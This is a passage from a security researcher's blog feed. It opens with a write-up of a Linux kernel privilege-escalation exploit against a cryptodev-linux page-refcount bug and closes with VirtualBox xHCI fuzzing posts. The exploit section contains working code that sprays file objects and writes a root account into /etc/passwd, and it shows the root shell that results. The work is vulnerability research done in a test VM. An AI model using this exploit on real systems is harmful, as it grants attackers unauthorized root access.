&lt;pre&gt;&lt;code&gt;cryp.ses = session.ses; // session id
cryp.len = CIPHER_SZ;
cryp.src = plain;
cryp.dst = cipher;
cryp.iv = (void*)iv;
cryp.op = COP_ENCRYPT; // it means we want the basic zero copy encryption logic
if (ioctl(cfd, CIOCCRYPT, &amp;amp;cryp)) {
    perror(&quot;ioctl(CIOCCRYPT)&quot;);
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual encryption logic for zero copy encryptions is located in the &lt;code&gt;__crypto_run_zc&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* This is the main crypto function - zero-copy edition */
static int
__crypto_run_zc(struct csession *ses_ptr, struct kernel_crypt_op *kcop)
{
	struct scatterlist *src_sg, *dst_sg;
	struct crypt_op *cop = &amp;amp;kcop-&amp;gt;cop;
	int ret = 0;

	ret = get_userbuf(ses_ptr, cop-&amp;gt;src, cop-&amp;gt;len, cop-&amp;gt;dst, cop-&amp;gt;len,
	                  kcop-&amp;gt;task, kcop-&amp;gt;mm, &amp;amp;src_sg, &amp;amp;dst_sg);
	if (unlikely(ret)) {
		derr(1, &quot;Error getting user pages. Falling back to non zero copy.&quot;);
		return __crypto_run_std(ses_ptr, cop);
	}

	ret = hash_n_crypt(ses_ptr, cop, src_sg, dst_sg, cop-&amp;gt;len);

	release_user_pages(ses_ptr);
	return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;hash_n_crypt&lt;/code&gt; is basically just using the internal crypto drivers of the linux kernel.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;release_user_pages&lt;/code&gt; is a key part of the exploitation process, it is iterating through the userland pages provided by the user (the src and dst buffers) and is calling &lt;code&gt;put_page&lt;/code&gt; on it. Notably, &lt;code&gt;ses-&amp;gt;pages&lt;/code&gt; is not cleared out.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void release_user_pages(struct csession *ses)
{
	unsigned int i;

	for (i = 0; i &amp;lt; ses-&amp;gt;used_pages; i++) {
		if (!PageReserved(ses-&amp;gt;pages[i]))
			SetPageDirty(ses-&amp;gt;pages[i]);

		if (ses-&amp;gt;readonly_pages == 0)
			flush_dcache_page(ses-&amp;gt;pages[i]);
		else
			ses-&amp;gt;readonly_pages--;

		put_page(ses-&amp;gt;pages[i]);
	}
	ses-&amp;gt;used_pages = 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These pages (&lt;code&gt;ses-&amp;gt;pages&lt;/code&gt;) are returned by &lt;code&gt;get_user_pages_remote&lt;/code&gt; in &lt;a href=&quot;https://github.com/cryptodev-linux/cryptodev-linux/blob/master/zc.c#L49&quot;&gt;&lt;code&gt;__get_userbuf&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;__get_userbuf&lt;/code&gt; is returning an array of &lt;code&gt;struct page*&lt;/code&gt;, what happens is that, to be able to handle the userland pages, the linux crypto drivers need to have a proper scatterlist initialized such as each node contains a reference to the target userland page.&lt;/p&gt;
&lt;p&gt;By returning this array, &lt;code&gt;get_user_pages_remote&lt;/code&gt; increments the refcount of each of these pages. So what happens is that &lt;code&gt;release_user_pages&lt;/code&gt; is releasing these references towards the &lt;code&gt;struct page*&lt;/code&gt; used during the encryption request. And releasing references means basically to decrement the reference counter.&lt;/p&gt;
&lt;h2&gt;The bug&lt;/h2&gt;
&lt;p&gt;The exploitable bug we will be focusing on in this blogpost lies in the &lt;code&gt;get_userbuf&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
/* make src and dst available in scatterlists.
 * dst might be the same as src.
 */
int get_userbuf(struct csession *ses,
                void *__user src, unsigned int src_len,
                void *__user dst, unsigned int dst_len,
                struct task_struct *task, struct mm_struct *mm,
                struct scatterlist **src_sg,
                struct scatterlist **dst_sg)
{
	int src_pagecount, dst_pagecount;
	int rc;

	/* Empty input is a valid option to many algorithms &amp;amp; is tested by NIST/FIPS */
	/* Make sure NULL input has 0 length */
	if (!src &amp;amp;&amp;amp; src_len)
		src_len = 0;

	/* I don&apos;t know that null output is ever useful, but we can handle it gracefully */
	/* Make sure NULL output has 0 length */
	if (!dst &amp;amp;&amp;amp; dst_len)
		dst_len = 0;

	src_pagecount = PAGECOUNT(src, src_len);
	dst_pagecount = PAGECOUNT(dst, dst_len);

	ses-&amp;gt;used_pages = (src == dst) ? max(src_pagecount, dst_pagecount)
	                               : src_pagecount + dst_pagecount;

	ses-&amp;gt;readonly_pages = (src == dst) ? 0 : src_pagecount;

	if (ses-&amp;gt;used_pages &amp;gt; ses-&amp;gt;array_size) {
		rc = adjust_sg_array(ses, ses-&amp;gt;used_pages);
		if (rc)
			return rc;
	}

	if (src == dst) {	/* inplace operation */
		/* When we encrypt for authenc modes we need to write
		 * more data than the ones we read. */
		if (src_len &amp;lt; dst_len)
			src_len = dst_len;
		rc = __get_userbuf(src, src_len, 1, ses-&amp;gt;used_pages,
			               ses-&amp;gt;pages, ses-&amp;gt;sg, task, mm);
		if (unlikely(rc)) {
			derr(1, &quot;failed to get user pages for data IO&quot;);
			return rc;
		}
		(*src_sg) = (*dst_sg) = ses-&amp;gt;sg;
		return 0;
	}

	*src_sg = NULL; /* default to no input */
	*dst_sg = NULL; /* default to ignore output */

	if (likely(src)) {
		rc = __get_userbuf(src, src_len, 0, ses-&amp;gt;readonly_pages,
					   ses-&amp;gt;pages, ses-&amp;gt;sg, task, mm);
		if (unlikely(rc)) {
			derr(1, &quot;failed to get user pages for data input&quot;);
			return rc;
		}
		*src_sg = ses-&amp;gt;sg;
	}

	if (likely(dst)) {
		const unsigned int writable_pages =
			ses-&amp;gt;used_pages - ses-&amp;gt;readonly_pages;
		struct page **dst_pages = ses-&amp;gt;pages + ses-&amp;gt;readonly_pages;
		*dst_sg = ses-&amp;gt;sg + ses-&amp;gt;readonly_pages;

		rc = __get_userbuf(dst, dst_len, 1, writable_pages,
					   dst_pages, *dst_sg, task, mm);
		if (unlikely(rc)) {
			derr(1, &quot;failed to get user pages for data output&quot;);
			release_user_pages(ses);  /* FIXME: use __release_userbuf(src, ...) */
			return rc;
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are actually a lot of issues with this function, including tons of integer overflows, but what is interesting is that if the destination exists, is and invalid and that the src is &lt;code&gt;NULL&lt;/code&gt; for example, then the last call to &lt;code&gt;__get_userbuf&lt;/code&gt; will fail and call &lt;code&gt;release_user_pages&lt;/code&gt; at line 77.&lt;/p&gt;
&lt;p&gt;At this point, &lt;code&gt;ses-&amp;gt;used_pages&lt;/code&gt; contains the number of pages of the destination buffer given &lt;code&gt;src != dst&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The bug is basically that &lt;code&gt;release_user_pages&lt;/code&gt; is called while &lt;code&gt;ses-&amp;gt;pages&lt;/code&gt; hasn&apos;t been modified and that &lt;code&gt;ses-&amp;gt;used_pages&lt;/code&gt; exists. It leads to a double free. Not exactly a double free, it allows an attacker to decrement the reference counter of a userland page he controls as many times as he want to.&lt;/p&gt;
&lt;p&gt;When the reference counter hits zero the page gets freed, it gets freed while we can still access it through the PTEs of our process which is a very powerful UAF primitive.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Now I described the bug, we can have fun exploiting this powerful primitive!&lt;/p&gt;
&lt;p&gt;The exploitation strategy is actually quite simple: triggering a slab request for our set of freed pages so we can hijack interesting structures.&lt;/p&gt;
&lt;p&gt;When a page is freed, it is initially sent back to the Per-CPU Page allocator (PCP), which is not ideal if we want to reallocate it as a slab. When a slab requires more memory, it allocates pages through the buddy allocator. Therefore, the first step is to return our pages to the buddy allocator. To achieve this, we must flush the PCP, which typically occurs when a large volume of pages is freed simultaneously.&lt;/p&gt;
&lt;p&gt;To trigger this, we can allocate a large number of pages prior to triggering the bug, and immediately afterward, free the entire set of allocated pages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#define MAX_PAGES 1000000
void *pages[MAX_PAGES];
int page_count = 0;

void free_all_pages(int count) {
    for (int i = 0; i &amp;lt; count; i++) {
        if (pages[i] != MAP_FAILED) {
            munmap(pages[i], 4096);
            pages[i] = MAP_FAILED;
        }
    }
    page_count -= count;
}

void stress_pcp_flush(int count) {
    for (int i = 0; i &amp;lt; count &amp;amp;&amp;amp; page_count &amp;lt; MAX_PAGES; i++) {
        pages[page_count] = mmap(NULL, 4096, 
                                PROT_READ | PROT_WRITE,
                                MAP_PRIVATE | MAP_ANONYMOUS,
                                -1, 0);
        if (pages[page_count] != MAP_FAILED) {
            // Touch to commit
            ((char*)pages[page_count])[0] = &apos;A&apos; + (i % 26);
            page_count++;
        }
    }
}

...
stress_pcp_flush(300000);

cryp.ses = session.ses;
cryp.len = CIPHER_SZ;
cryp.src = NULL;
cryp.dst = (uint8_t* )0xdeadbeef;
cryp.iv = (void*)iv;
cryp.op = COP_ENCRYPT;

if (ioctl(cfd, CIOCCRYPT, &amp;amp;cryp)) {
    //perror(&quot;ioctl(CIOCCRYPT)&quot;);
}

free_all_pages(300000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will successfully flush the vulnerable pages back to the buddy allocator.&lt;/p&gt;
&lt;h3&gt;Page migration&lt;/h3&gt;
&lt;p&gt;This is the only tricky part of the exploit, because slabs are typically allocated using &lt;code&gt;GFP_KERNEL&lt;/code&gt;. For example, a &lt;a href=&quot;https://elixir.bootlin.com/linux/v6.15/source/fs/file_table.c#L234&quot;&gt;&lt;code&gt;struct file*&lt;/code&gt;&lt;/a&gt; is allocated this way, which causes the buddy allocator to look for pages that are unmovable (&lt;code&gt;MIGRATE_UNMOVABLE&lt;/code&gt;). This logic is handled within &lt;code&gt;__rmqueue&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
/*
 * Do the hard work of removing an element from the buddy allocator.
 * Call me with the zone-&amp;gt;lock already held.
 */
static __always_inline struct page *
__rmqueue(struct zone *zone, unsigned int order, int migratetype,
	  unsigned int alloc_flags, enum rmqueue_mode *mode)
{
	struct page *page;

	if (IS_ENABLED(CONFIG_CMA)) {
		/*
		 * Balance movable allocations between regular and CMA areas by
		 * allocating from CMA when over half of the zone&apos;s free memory
		 * is in the CMA area.
		 */
		if (alloc_flags &amp;amp; ALLOC_CMA &amp;amp;&amp;amp;
		    zone_page_state(zone, NR_FREE_CMA_PAGES) &amp;gt;
		    zone_page_state(zone, NR_FREE_PAGES) / 2) {
			page = __rmqueue_cma_fallback(zone, order);
			if (page)
				return page;
		}
	}

	/*
	 * First try the freelists of the requested migratetype, then try
	 * fallbacks modes with increasing levels of fragmentation risk.
	 *
	 * The fallback logic is expensive and rmqueue_bulk() calls in
	 * a loop with the zone-&amp;gt;lock held, meaning the freelists are
	 * not subject to any outside changes. Remember in *mode where
	 * we found pay dirt, to save us the search on the next call.
	 */
	switch (*mode) {
	case RMQUEUE_NORMAL:
		page = __rmqueue_smallest(zone, order, migratetype);
		if (page)
			return page;
		fallthrough;
	case RMQUEUE_CMA:
		if (alloc_flags &amp;amp; ALLOC_CMA) {
			page = __rmqueue_cma_fallback(zone, order);
			if (page) {
				*mode = RMQUEUE_CMA;
				return page;
			}
		}
		fallthrough;
	case RMQUEUE_CLAIM:
		page = __rmqueue_claim(zone, order, migratetype, alloc_flags);
		if (page) {
			/* Replenished preferred freelist, back to normal mode. */
			*mode = RMQUEUE_NORMAL;
			return page;
		}
		fallthrough;
	case RMQUEUE_STEAL:
		if (!(alloc_flags &amp;amp; ALLOC_NOFRAGMENT)) {
			page = __rmqueue_steal(zone, order, migratetype);

			if (page) {
				*mode = RMQUEUE_STEAL;
				return page;
			}
		}
	}
	return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will first look for pages of the same order and migratetype, then it will look for pages of higher order (increasing the risk of fragmentation) with the same migratetype, and finally, it will look for pages of a different migratetype. This is exactly what we want for our exploit.&lt;/p&gt;
&lt;p&gt;To address this issue, we just need to adjust one thing: the spray of userland pages in our process. I mentioned page migration from &lt;code&gt;MIGRATE_UNMOVABLE&lt;/code&gt; requests to &lt;code&gt;MIGRATE_MOVABLE&lt;/code&gt;, but the opposite is also true. If we allocate a large number of pages in our process, it will exhaust the &lt;code&gt;MIGRATE_UNMOVABLE&lt;/code&gt; buddy allocator freelists as well. Consequently, when we start spraying the target objects, the &lt;code&gt;RMQUEUE_STEAL&lt;/code&gt; switch case will be reached quickly.&lt;/p&gt;
&lt;h2&gt;struct file spraying&lt;/h2&gt;
&lt;p&gt;I am not sure about the official name of this technique. &lt;a href=&quot;https://kuzey.rs/posts/Dirty_Page_Table/&quot;&gt;Kuzey&lt;/a&gt; calls it DirtyCred, but to me, DirtyCred implies &lt;code&gt;struct cred *&lt;/code&gt; swapping, which is not what is happening here. However, a file-based DirtyCred method was previously demonstrated by &lt;a href=&quot;https://starlabs.sg/blog/2023/07-a-new-method-for-container-escape-using-file-based-dirtycred/&quot;&gt;StarLabs&lt;/a&gt;. Regardless, I am using the technique described in the &lt;a href=&quot;https://blog.exodusintel.com/2024/03/27/mind-the-patch-gap-exploiting-an-io_uring-vulnerability-in-ubuntu/&quot;&gt;Exodus Intelligence&lt;/a&gt; blog post.&lt;/p&gt;
&lt;p&gt;The technique is straightforward: once we have successfully sprayed enough &lt;code&gt;struct file&lt;/code&gt; objects in memory, we search for the &lt;code&gt;ext4_file_operations&lt;/code&gt; pointer pattern, which corresponds to the second field of the &lt;code&gt;struct file&lt;/code&gt;. Once found, we simply modify the file mode. This allows us to write to the file even if it was originally opened with read-only permissions.&lt;/p&gt;
&lt;p&gt;A good target file would be &lt;code&gt;/etc/passwd&lt;/code&gt;, as a non-root user we are allowed to open it in read only and thanks to this technique we can write arbitrary content to this file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (int i = 0; i &amp;lt; 10485; i++) {
    fd = open(&quot;/etc/passwd&quot;, O_RDONLY);
}

int offt_mode = find_ext4_ops(plain, CIPHER_SZ) - 4;

if (offt_mode &amp;lt; 0) {
    printf(&quot;[-] Failed to find ext4_file_operations pointer in plain\n&quot;);

    offt_mode = find_ext4_ops(cipher, CIPHER_SZ) - 4;

    if (offt_mode &amp;lt; 0) {
        printf(&quot;[-] Failed to find ext4_file_operations pointer in cipher\n&quot;);
        printf(&quot;[+] Trying again!...\n&quot;);

        return loop_xpl(cfd);
    }

    *(uint32_t* )&amp;amp;cipher[offt_mode] |= (FMODE_WRITE | FMODE_CAN_WRITE);
} else {
    *(uint32_t* )&amp;amp;plain[offt_mode] |= (FMODE_WRITE | FMODE_CAN_WRITE);
}

const char *evil_user = &quot;nasm::0:0:root:/root:/bin/bash\n&quot;;
for (size_t i = 3; i &amp;lt; 10485 + 3; i++)
{
    if (write(i, evil_user, sizeof(evil_user)) &amp;gt; 0) {
        printf(&quot;[+] Wrote evil user to fd %zu\n&quot;, i);
        close(i);
        break;
    }
    
    close(i);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we failed to spray correctly the &lt;code&gt;struct file&lt;/code&gt;, nothing stops us to try it again, and again. Which makes the exploit pretty stable!&lt;/p&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@syzkaller:~$ ./poc 
[*] Increasing file descriptor limit...
[*] Triggered the bug...
[*] Spraying file objects...
[-] Failed to find ext4_file_operations pointer in plain
[-] Failed to find ext4_file_operations pointer in cipher
[+] Trying again!...
[*] Triggered the bug...
[*] Spraying file objects...
[+] Found potential ext4_ops: 0xffffffffab631340 at offset 0x8
[*] Done. Check /etc/passwd for new root user &apos;nasm&apos;.

nasm@off:/media/cryptodev-linux-exploit$ ssh -p 10021 nasm@127.0.0.1
...
nasm@syzkaller:~# id
uid=0(nasm) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can find the final exploit code &lt;a href=&quot;https://gist.github.com/n4sm/0fd2479e0c23e0fa2f192cd8fda45750&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;p&gt;I used the following kernel options to compile my kernel:
&lt;code&gt;make defconfig &amp;amp;&amp;amp; make kvm_guest.config &amp;amp;&amp;amp; ./scripts/config -e CONFIG_DEBUG_INFO_DWARF4 -e CONFIG_CONFIGFS_FS &amp;amp;&amp;amp; make olddefconfig&lt;/code&gt;
You can download the kernel source from https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.15.4.tar.gz:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;6bfb8a8d4b33ddbec44d78789e0988a78f5f5db1df0b3c98e4543ef7a5b15b97  linux-6.15.4.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used the following qemu options:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 \
	-m 2G \
	-smp 2 \
	-kernel &quot;/media/kernel_fuzzing/cryptodevFuzzing/linux-exploit/arch/x86/boot/bzImage&quot; \
	-append &quot;console=ttyS0 kaslr root=/dev/sda earlyprintk=serial net.ifnames=0&quot; \
	-drive file=&quot;/media/nixos/Documents/syzkaller/bullseye.img&quot;,format=raw \
	-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
	-net nic,model=e1000 \
	-nographic \
	-pidfile vm.pid \
	&amp;gt;&amp;amp;1 | tee vm.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might have to adjust the amount of pages you spray according to the amount of memory / cores of the target system.&lt;/p&gt;
</content:encoded></item><item><title>VirtualBox fuzzing - improvements</title><link>https://n4sm.github.io/posts/vbox_fuzzing2/vbox_fuzzing2/</link><guid isPermaLink="true">https://n4sm.github.io/posts/vbox_fuzzing2/vbox_fuzzing2/</guid><pubDate>Sat, 01 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In my last &lt;a href=&quot;/posts/vbox_fuzzing&quot;&gt;article&lt;/a&gt; I implemented a basic harness for the XHCI VirtualBox device. I wasn&apos;t satisfied with the coverage so I kept trying to improve the harness (and made slight changes in the KVM / qemu code) to be able to fuzz both of the fast and slow path at the same time. The code material is available &lt;a href=&quot;https://github.com/n4sm/vbox_fuzzing&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Issues due to the design of VirtualBox devices&lt;/h2&gt;
&lt;p&gt;Each VirtualBox device has a fast path and a slow path.
The fast path is handled directly in kernel land (ring-0), right after the guest triggers a MMIO or I/O port access. This is the code path executed synchronously during a VM-exit, while the virtual CPU is paused and control is temporarily transferred to the VirtualBox hypervisor.&lt;/p&gt;
&lt;p&gt;The slow path, on the other hand, is handled in user land (ring-3), within the VirtualBox device emulation process. Most of the actual device logic (USB transactions, command ring parsing, descriptor handling, etc.) lives here. And until now I was unable to actually reach that part.&lt;/p&gt;
&lt;p&gt;Actually the issue is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If I want my harness to be reliable I better target the fast path first and if the slow path needs to handle the current fuzz interation content of the request will be handled by the I/O Monitor (IOM) and will be consumed by another ring-3 thread. &lt;img src=&quot;mmio.png&quot; alt=&quot;vbox mmio request&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Patching qemu and KVM-PT&lt;/h2&gt;
&lt;p&gt;I patched qemu-nyx and KVM-PT to be able to submit a different cr3 to filter within the fuzzing loop. In qemu I basically just needed to by remove an if statement:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/nyx/pt.c b/nyx/pt.c
index d78bc58522..a2c1d8a881 100644
--- a/nyx/pt.c
+++ b/nyx/pt.c
@@ -151,17 +151,13 @@ int pt_set_cr3(CPUState *cpu, uint64_t val, bool hmp_mode)
     int r = 0;
 
     if (val == GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter) {
-        return 0; // nothing changed
+       return 0; // nothing changed
     }
 
-    if (cpu-&amp;gt;pt_enabled) {
-        return -EINVAL;
-    }
     if (GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter &amp;amp;&amp;amp; GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter != val) {
-        // nyx_debug_p(PT_PREFIX, &quot;Reconfigure CR3-Filtering!\n&quot;);
+        nyx_printf(&quot;Reconfigure CR3-Filtering! pt_c3_filter (%llx) != (%llx)\n&quot;, GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter, val);
         GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter = val;
-        r += pt_cmd(cpu, KVM_VMX_PT_CONFIGURE_CR3, hmp_mode);
-        r += pt_cmd(cpu, KVM_VMX_PT_ENABLE_CR3, hmp_mode);
+       r += pt_cmd(cpu, KVM_VMX_PT_CONFIGURE_CR3, hmp_mode);
         return r;
     }
     GET_GLOBAL_STATE()-&amp;gt;pt_c3_filter = val;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In KVM it was pretty easy to patch as well, I just removed some checks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/arch/x86/kvm/vmx/vmx_pt.c b/arch/x86/kvm/vmx/vmx_pt.c
index f55b9fdce..bd1c76b84 100644
--- a/arch/x86/kvm/vmx/vmx_pt.c
+++ b/arch/x86/kvm/vmx/vmx_pt.c
@@ -490,14 +490,18 @@ static long vmx_pt_ioctl(struct file *filp, unsigned int ioctl, unsigned long ar
                        if(!is_configured) {
                                vmx_pt_config-&amp;gt;ia32_rtit_cr3_match = arg; 
                                r = 0;
+                               printk(&quot;Intel PT reconfigured: %llx\n&quot;, vmx_pt_config-&amp;gt;ia32_rtit_cr3_match);
                        }
                        else{
                                printk(&quot;Intel PT KVM_VMX_PT_CONFIGURE_CR3 (is_configured: true) ...\n&quot;);
+                               vmx_pt_config-&amp;gt;ia32_rtit_cr3_match = arg;
+                                r = 0;
+                               printk(&quot;Intel PT reconfigured: %llx\n&quot;, vmx_pt_config-&amp;gt;ia32_rtit_cr3_match);
                        }
                        break;
                case KVM_VMX_PT_ENABLE_CR3:
                        /* we just assume that cr3=NULL is invalid... */
-                       if((!is_configured) &amp;amp;&amp;amp; vmx_pt_config-&amp;gt;ia32_rtit_cr3_match &amp;amp;&amp;amp; !vmx_pt_config-&amp;gt;multi_cr3_enabled){
+                       if(vmx_pt_config-&amp;gt;ia32_rtit_cr3_match &amp;amp;&amp;amp; !vmx_pt_config-&amp;gt;multi_cr3_enabled){
                                vmx_pt_config-&amp;gt;ia32_rtit_ctrl_msr |= CR3_FILTER;
                                r = 0;
                        }
@@ -508,7 +512,7 @@ static long vmx_pt_ioctl(struct file *filp, unsigned int ioctl, unsigned long ar
 
                        break;
                case KVM_VMX_PT_DISABLE_CR3:
-                       if((!is_configured) &amp;amp;&amp;amp; (vmx_pt_config-&amp;gt;ia32_rtit_ctrl_msr &amp;amp; CR3_FILTER)){
+                       if((vmx_pt_config-&amp;gt;ia32_rtit_ctrl_msr &amp;amp; CR3_FILTER)){
                                vmx_pt_config-&amp;gt;ia32_rtit_ctrl_msr ^= CR3_FILTER;
                                r = 0;
                        }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Adding the fuzzer&apos;s callback to the device struct&lt;/h2&gt;
&lt;p&gt;To make easier the debugging and the hooking we need to be able to use the fuzzer API wherever we are in the code base, to do so we can add a field to the structure definition of both &lt;code&gt;PDMDEVREGR0&lt;/code&gt; (ring0) and &lt;code&gt;PDMDEVREGR3&lt;/code&gt; (ring3):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// VirtualBox-7.1.8/include/VBox/vmm/pdmdev.h

/**
 * PDM Device Registration Structure, ring-0.
 *
 * This structure is used when registering a device from VBoxInitDevices() in HC
 * Ring-0.  PDM will continue use till the VM is terminated.
 */
typedef struct PDMDEVREGR0
{
    [...]
    DECLR0CALLBACKMEMBER(int, pfnCallbackKafl, (PPDMDEVINS pDevIns, int cmd, uintptr_t a1, uintptr_t a2)); // last field to not break the other fields
}

/**
 * PDM Device Registration Structure.
 *
 * This structure is used when registering a device from VBoxInitDevices() in HC
 * Ring-3.  PDM will continue use till the VM is terminated.
 *
 * @note The first part is the same in every context.
 */
typedef struct PDMDEVREGR3
{
    DECLR3CALLBACKMEMBER(int, pfnCallbackKafl, (PPDMDEVINS pDevIns, int cmd, uintptr_t a1, uintptr_t a2)); // last field to not break the other fields
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions interacting with the guest memory&lt;/h2&gt;
&lt;p&gt;As far as I have read, the XHCI device is only using &lt;code&gt;PDMDevHlpPCIPhysReadMeta&lt;/code&gt; and &lt;code&gt;PDMDevHlpPCIPhysReadUser&lt;/code&gt; to read data from the L2 memory. From a fuzzing perspective it means we need to hook those two functions to make them process the fuzzy input instead.&lt;/p&gt;
&lt;p&gt;THIS ARTCLE IS NOT FINISHED!!&lt;/p&gt;
</content:encoded></item><item><title>VirtualBox fuzzing - Basic harness</title><link>https://n4sm.github.io/posts/vbox_fuzzing/vbox_fuzzing/</link><guid isPermaLink="true">https://n4sm.github.io/posts/vbox_fuzzing/vbox_fuzzing/</guid><pubDate>Sun, 28 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In 2025 I completed an internship at Out of bounds leveraging me to research for roughly 5 months for bugs in the VirtualBox USB stack (xHCI). In this blogpost I will explain mu workflow and how I managed to fuzz this subsystem by using kAFL/nyx.&lt;/p&gt;
&lt;h2&gt;xHCI&lt;/h2&gt;
&lt;p&gt;eXtensible Host Controller Interface (xHCI) is the latest standard for USB host controller devices. It is backward compatible for both USB 1.0 and 2.0 protocols. The xHCI controller is implemented in VirtualBox as a cross-platform device in &lt;code&gt;src/VBox/Devices/USB/DevXHCI.cpp&lt;/code&gt;. The xHCI device has to emulate quite complex behaviors, especially transfer rings which are to me one of the most interesting attack surfaces. In this section I will describe how it works and which are the known bugs on the surface. This information is based on the VirtualBox implementation and on the &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/extensible-host-controler-interface-usb-xhci.pdf&quot;&gt;xHCI specifications&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A xHCI controller interacts with the system through a #emph[MMIO area]. On VirtualBox it is structured as below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;em&gt;Capability Registers&lt;/em&gt; (&lt;code&gt;[0x0000 - 0x007F]&lt;/code&gt;) give read only information about the host controller, especially the &lt;code&gt;doorbell&lt;/code&gt; offset.&lt;/li&gt;
&lt;li&gt;The &lt;em&gt;Runtime Registers&lt;/em&gt; [&lt;code&gt;0x2000 - 0x3000&lt;/code&gt;] manage the interrupts and the event ring segment.&lt;/li&gt;
&lt;li&gt;The &lt;em&gt;Extended Capabilities&lt;/em&gt; [&lt;code&gt;0x1000 - 0x13FF&lt;/code&gt;] manages LEDs and other minor features.&lt;/li&gt;
&lt;li&gt;The &lt;em&gt;Operational Registers&lt;/em&gt;  [&lt;code&gt;0x0080 - 0x03FF&lt;/code&gt;] are responsible for the command management (&lt;code&gt;USBCMD&lt;/code&gt; register).&lt;/li&gt;
&lt;li&gt;The &lt;em&gt;Doorbell array&lt;/em&gt; [&lt;code&gt;0x3000-0xffff&lt;/code&gt;] is an array of 256 doorbell registers. A doorbell register allows to manage a specific device through its &lt;code&gt;DB target&lt;/code&gt; field. A doorbell register can be &quot;rung&quot; to ask a device to perform operations on a usb device through the transfer rings.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Transfer Ring and TRB&lt;/h3&gt;
&lt;p&gt;A ring is a circular data structure, xHCI is using three different kind of rings: the command ring, the event ring and the transfer ring. Actually the command ring and the event are heavily rely on the transfer ring. The transfer ring is the ring that manages data transfer between a USB device and the software (in our case the nested guest). Those transfer are directional and are very complex operations, this might be, to me, the most buggy code surface by design in xHCI implementations. I will describe briefly some of its features, you can refer to the &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/extensible-host-controler-interface-usb-xhci.pdf&quot;&gt;xHCI specifications&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xhci.png&quot; alt=&quot;xhci subsystem structure&quot; /&gt;.&lt;/p&gt;
&lt;p&gt;To transfer data from the host memory to the USB device, the USB device allows the host controller to register different endpoints according to the type of the transfer and to its direction (device to host, host to device). All of the endpoints of a device are grouped together under the Device  structure and all of the Device Context structures are grouped under the &lt;code&gt;hub&lt;/code&gt; structure.&lt;/p&gt;
&lt;p&gt;It might seem unnecessary to dig into the internals of the TRB management but the way VirtualBox is implementing it is key to lead successful fuzzing campaign. A basic TRB contains a pointer to the target data to transfer, its length and a type field that is describing its mode (isochronous, control, bulk, interrupt, Scatter/Gather). According to the type of the transfer it leads to complex interactions which makes the TRB structure behaving very differently.&lt;/p&gt;
&lt;h3&gt;Vulnerability research perspective&lt;/h3&gt;
&lt;p&gt;From a vulnerability research perspective, the TRB management surface seems a very promising attack surface because of its complexity. But it has a major drawback: to fuzz the TRB requests we need to already have an available endpoint to connect to. Then we assume there is at least a USB device connected to the host controller of the hypervisor. Furthermore, we should emulate it for fuzzing purposes. Another issue is that some transfer are actually asynchronous, which makes the harnessing quite difficult. At this point I&apos;m not sure the TRB are the best surface to fuzz because of the complexity of the fuzzing process. That&apos;s why it is not the first surface I targeted in the xHCI device.&lt;/p&gt;
&lt;h1&gt;Preliminary work&lt;/h1&gt;
